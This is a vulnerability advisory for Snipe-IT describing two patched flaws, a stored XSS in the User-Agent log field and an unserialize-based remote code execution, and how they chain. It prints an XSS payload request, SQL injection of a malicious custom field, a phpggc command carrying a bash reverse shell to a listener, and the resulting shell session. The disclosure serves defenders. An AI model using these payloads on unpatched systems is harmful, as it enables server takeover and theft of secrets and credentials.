Security vulnerabilities in Snipe-IT

02/10/2025 - Téléchargement

Product

Snipe-IT

Severity

High

Fixed Version(s)

8.1.18 

Affected Version(s)

See section "Affected versions"

CVE Number

CVE-2025-59712, CVE-2025-59713

Authors

Thibaut Queney

Mallory Mousson

Description

Presentation

Two vulnerabilities in the Snipe-IT web application have been found, allowing a low-privileged user to perform remote code execution on the underlying server hosting the Snipe-IT instance by chaining the two vulnerabilities.

Issue(s)

  • Stored XSS in the User-Agent field of an action log upon user profile edit
  • Remote code execution (RCE) through the unserialize function in the ActionlogTransformer.php file

Affected versions

All versions before 8.1.18.

Timeline

Date Description
2025.06.30 Advisory sent to Snipe-IT security team
2025.07.02 CVE-2025-59712 fixed in commit 8bc067b
2025.07.02 CVE-2025-59713 fixed in commit 8a682be
2025.07.08 Release of Snipe-IT v8.1.18 (fixed)
2025.10.02 Security advisory publication

 

Technical details

CVE-2025-59712 - Stored XSS in the User-Agent HTTP header field of an action log

Description

A stored Cross-Site-Scripting (XSS) vulnerability has been found in the User-Agent HTTP header field of an action log, which can be triggered by an administrator user by visiting the /reports/activity route.

Indeed, users can update their profile by performing a POST request on the /account/profile route. When doing so, such a user can update their name, first name, email address and other personal information. This information is logged in the database used by Snipe-IT as action logs, which can be reviewed by an administrator user when calling the /reports/activity route.

An update in a user’s profile will generate an action log, which will store the value of the User-Agent header that was used to perform the update request. However, the Snipe-IT web application does not sanitize the value of this header, leading to JavaScript injection. Below is an example of such a request, containing a malicious script tag in the User-Agent header:

POST /account/profile HTTP/1.1
Host: 192.168.56.6:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0<script>alert(1);</script>
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------1835082088987473178104522967
Cookie: XSRF-TOKEN=eyJpdiI6[...]IjoiIn0%3D; snipeit_session=4**************************************E; _csrf_token=OePtIgYLcOFNKdMkjQ9Jp1wJb93tKZFmL8B5kHba
Content-Length: 1223

-----------------------------1835082088987473178104522967
Content-Disposition: form-data; name="_token"

OePtIgYLcOFNKdMkjQ9Jp1wJb93tKZFmL8B5kHba
-----------------------------1835082088987473178104522967
Content-Disposition: form-data; name="first_name"

John-update
-----------------------------1835082088987473178104522967
Content-Disposition: form-data; name="last_name"

Doe
-----------------------------1835082088987473178104522967
Content-Disposition: form-data; name="locale"
[...]

When an administrator user, or a user that has explicit view permissions for reports, visits the /activity/reports URL and ticks the User-Agent checkbox, the XSS payload will be triggered, as shown on the screenshot below:

Stored XSS being triggered when reviewing action logs as an administrator.

Impact

The present vulnerability can be exploited by a low-privileged user to trigger a backup of the Snipe-IT web application using a JavaScript script loaded by the victim’s browser. This script can be served by a rogue HTTP server, or included as an inline script directly in the update request, and will be executed in the context of the victim’s browser. In a default Snipe-IT installation, the .env file containing various secrets related to the configuration of the web application (such as the APP_KEY or the credentials to connect to the underlying database) is included in ZIP file generated when the backup is triggered. This file can then be exfiltrated by the malicious JavaScript script on the rogue HTTP server, and the secrets can then be recovered.

Additionally, the backup includes a folder called db-dumps, containing a dump of the database named mysql-snipeit.sql. The ZIP file downloaded in the browser of the victim can be exfiltrated to perform the following actions:

  • Parse the SQL script to extract user password hashes and try to bruteforce them offline.
  • Edit the mysql-snipeit.sql and add arbitrary SQL statements, such as adding a new administrator user for instance. This script will be executed by the database upon a successful backup restore, which can be done by calling the /admin/backups/upload route to upload a modified ZIP file, and the /admin/backups/restore route followed by the edited backup file name to restore it.
  • Extract the .env file from the backup ZIP file to harvest the various secrets configured within the file, such as the APP_KEY, the database credentials or other sensitive secrets that might be stored in this file.

CVE-2025-59713 - Remote Code Execution (RCE) as administrator through deserialization

Description

A call to the unserialize function in the Http/Transformers/ActionlogsTransformer.php file can allow an administrator user to perform code execution on the underlying server hosting the Snipe-IT instance.

Indeed, as an administrator, it is possible to generate a backup of the Snipe-IT instance. The generated ZIP will contain, as explained previously, various files including an SQL script used to stage the database upon a backup restore. By default, on a fresh Snipe-IT install, the value of the BACKUP_ENV environment variable is set to true. Therefore, the .env file will be included in the ZIP backup file. The .env file contains the APP_KEY environment variable, whose value is used to encrypt and decrypt data used by Laravel through the decryptString and encryptString functions.

The ActionlogsTransformer.php file is called when visiting the /reports/activity route, which performs an API call to /api/v1/reports/activity. This file is used to handle the formatting of the data that will be passed to the frontend. It first looks through all the actions logs stored in the action_logs table in the database, and if the log_meta field is set for the current action log, it will execute the following code:

foreach ($meta_array as $fieldname => $fieldata) {

    $clean_meta[$fieldname]['old'] = $this->clean_field($fieldata->old);
    $clean_meta[$fieldname]['new'] = $this->clean_field($fieldata->new);

    // this is a custom field
    if (str_starts_with($fieldname, '_snipeit_')) {
        foreach ($custom_fields as $custom_field) {
            if ($custom_field->db_column == $fieldname) {
                if ($custom_field->field_encrypted == '1') {

                    unset($clean_meta[$fieldname]);
                    unset($clean_meta[$fieldname]);

                    $enc_old = '';
                    $enc_new = '';

                    if ($this->clean_field($fieldata->old != '')) {
                        try {
                            $enc_old = Crypt::decryptString($this->clean_field($fieldata->old));
                        } catch (Exception $e) {
                            Log::debug('Could not decrypt old field value - maybe the key changed?');
                        }
                    }

                    if ($this->clean_field($fieldata->new != '')) {
                        try {
                            $enc_new = Crypt::decryptString($this->clean_field($fieldata->new));
                        } catch (Exception $e) {
                            Log::debug('Could not decrypt new field value - maybe the key changed?');
                        }
                    }

                    if ($enc_old != $enc_new) {
                        $clean_meta[$fieldname]['old'] = "************";
                        $clean_meta[$fieldname]['new'] = "************";

                        // Display the changes if the user is an admin or superadmin
                        if (Gate::allows('admin')) {
                            $clean_meta[$fieldname]['old'] = ($enc_old) ? unserialize($enc_old) : '';
                            $clean_meta[$fieldname]['new'] = ($enc_new) ? unserialize($enc_new) : '';
                        }
                    }
                }
            }
        }
    }
}

In database, an action log is built as follows:

$ mysql -u root
[...]
MariaDB [snipeit]> select * from action_logs\G;
[...]
*************************** 425. row ***************************
              id: 425
      created_by: 60
     action_type: update
       target_id: 60
     target_type: App\Models\User
     location_id: NULL
            note: NULL
        filename: NULL
       item_type: App\Models\User
         item_id: 60
expected_checkin: NULL
     accepted_id: NULL
      created_at: 2025-06-26 21:31:42
      updated_at: 2025-06-26 21:31:42
      deleted_at: NULL
       thread_id: NULL
      company_id: NULL
accept_signature: NULL
        log_meta: {"first_name":{"old":"ninja","new":"ninja-update"}}
     action_date: 2025-06-26 21:31:42
     stored_eula: NULL
   action_source: gui
       remote_ip: 192.168.56.1
      user_agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
425 rows in set (0.002 sec)

If the JSON data contained within the current log_meta field holds a key starting with the _snipeit_ prefix, and its value corresponds to a custom field defined in the database, the value of the new key in the JSON data will be decrypted. Upon successful decryption, and as long as the values of the new and old keys differ from each other, the decrypted value will be passed to the unserialize function. For example, the new key in the following log_meta field would trigger its value to be deserialized:

$ mysql -u root
[...]
MariaDB [snipeit]> select * from action_logs\G;
*************************** 422. row ***************************
[...]
        log_meta: {"_snipeit_customfieldrce_99":{"old":"nonrelevantinformation","new":"eyJpdiI6IldGO[...]FnIjoiIn0="}}
[...]

It is to be noted that the referenced field needs to have the flag encrypted set to true for the deserialization to work.

Impact

In this configuration, it is possible for an administrator to trigger the backup of the Snipe-IT instance, download the associated ZIP file and edit the mysql-snipeit.sql script present within the downloaded archive by appending the following lines:

INSERT INTO `custom_fields` (`name`, `element`, `help_text`, `field_values`, `field_encrypted`, `db_column`, `show_in_email`, `is_unique`, `display_in_user_view`, `auto_add_to_fieldsets`, `show_in_listview`, `show_in_requestable_list`, `display_checkin`, `display_checkout`, `display_audit`, `format`, `updated_at`, `created_at`) VALUES ('customfieldrce', 'text', '', NULL, '1', '_snipeit_customfieldrce_99', '0', 0, '0', 0, 0, 0, 0, 0, 0, '', '2025-06-18 13:34:15', '2025-06-18 13:34:15');
UPDATE `action_logs` SET `log_meta` = '{"_snipeit_customfieldrce_99":{"old":"nonrelevantinformation","new":"<Laravel POP chain>"}}' ORDER BY id DESC LIMIT 1;

The value of the POP chain placeholder in the above SQL statement can be generated using the phpggc tool:

$ POPCHAIN=$(phpggc -a Laravel/RCE17 exec "bash -c '/bin/bash -i >& /dev/tcp/192.168.56.1/1234 0>&1'" | tr -d '\n' | base64 -w0)

The generated base64-encoded value can then be fed to the laravel-crypto-killer tool, providing the APP_KEY present in the .env file:

$ python3 laravel_crypto_killer.py encrypt --key "base64:wqB6r+acaQXuhIzMAaqK+T/3vDWzilmtjK/c/P0d3UA=" -v $POPCHAIN
[+] Here is your laravel ciphered value, happy hacking mate!
eyJpdiI6ICJrZ1V[...]FnIjogIiJ9

The edited mysql-snipeit.sql script can be added to a new ZIP file following the following structure:

$ unzip -l edited-backup.zip
Archive:  edited-backup.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        0  2025-06-26 18:56   db-dumps/
        0  2025-06-26 18:56   db-dumps/mysql-snipeit.sql
---------                     -------
        0                     2 files

This edited ZIP file can now be uploaded on the backup page and a restore can be launched. The resulting cipher will be decrypted and deserialized when visiting the /reports/activity route, or by calling directly the /api/v1/reports/activity endpoint, which will execute the command passed to the exec() function defined in the Laravel POP chain:

$ nc -nlvp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.56.6 40158
bash: cannot set terminal process group (233): Inappropriate ioctl for device
bash: no job control in this shell
www-data@fc1e1ae8c4c0:/var/www/snipe-it/public$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@fc1e1ae8c4c0:/var/www/snipe-it/public$ pwd
pwd
/var/www/snipe-it/public
www-data@fc1e1ae8c4c0:/var/www/snipe-it/public$

Synacktiv developed an automated exploit as a Python script aimed at chaining both vulnerabilities together (XSS followed by the deserialization) to demonstrate a scenario in which a low-privileged user obtains remote code execution on the Snipe-IT server. The requirements to successfully perform the full chain exploit are as follows :

  • The .env file has to be included in the ZIP file upon backup trigger (set by default).
  • The CSP policy must be configured to allow untrusted origins or fully disabled (set by default). This is not a blocking factor to exploit the present vulnerability, as the exploit can be adapted to stage the database with an inline script instead of loading it from an external source.
  • Credentials for a low-privileged user must be known.
  • An administrator or superuser has to visit the /reports/activity route.

The following steps are performed:

  1. The script authenticates as the low-privileged user, and updates their profile to create an action log in the database containing a malicious JavaScript payload.
  2. Once an administrator visits the /reports/activity page, the JavaScript payload is executed and the exploit.js file is downloaded by the victim’s browser from a rogue HTTP server hosted by the Python script. It also downloads additional dependencies for ZIP file handling and cryptographic primitives.
  3. The exploit.js script will then, with the identity of the victim:
    • Trigger a backup of the website.
    • Read the content of the .env file to get the value of the APP_KEY variable.
    • Edit the SQL script contained within the ZIP file to add a new administrator to the database, create a new custom field with the encrypted flag set to true and update the latest action log with JSON data containing the Laravel POP chain mentioned above.
    • Create a new ZIP file containing the edited SQL script, upload it and trigger the restore of the Snipe-IT instance from this backup.
    • Upon successful restore, send a callback request to the Python HTTP server to notify that it can now log in as the newly created administrator user to call the route used to trigger the RCE.
  4. The Python script will then trigger the RCE and the payload passed to the POP chain will be executed.

This mode can be executed with the fullchain subcommand, as shown on the screenshot below:

Full chain exploit from XSS to RCE.

Two other modes are also available:

  • xss: Exploits CVE-2025-59712 by injecting the User-Agent header with JavaScript content sourced from a file given as a parameter. Low-privileged user's credentials must be supplied.
  • rce: Exploits CVE-2025-59713 by triggering a Snipe-IT instance restore from an edited backup file and calling the /api/v1/reports/activity route to trigger the RCE. Admin or superuser credentials must be supplied.

The proof of concept script is available on Synacktiv's GitHub.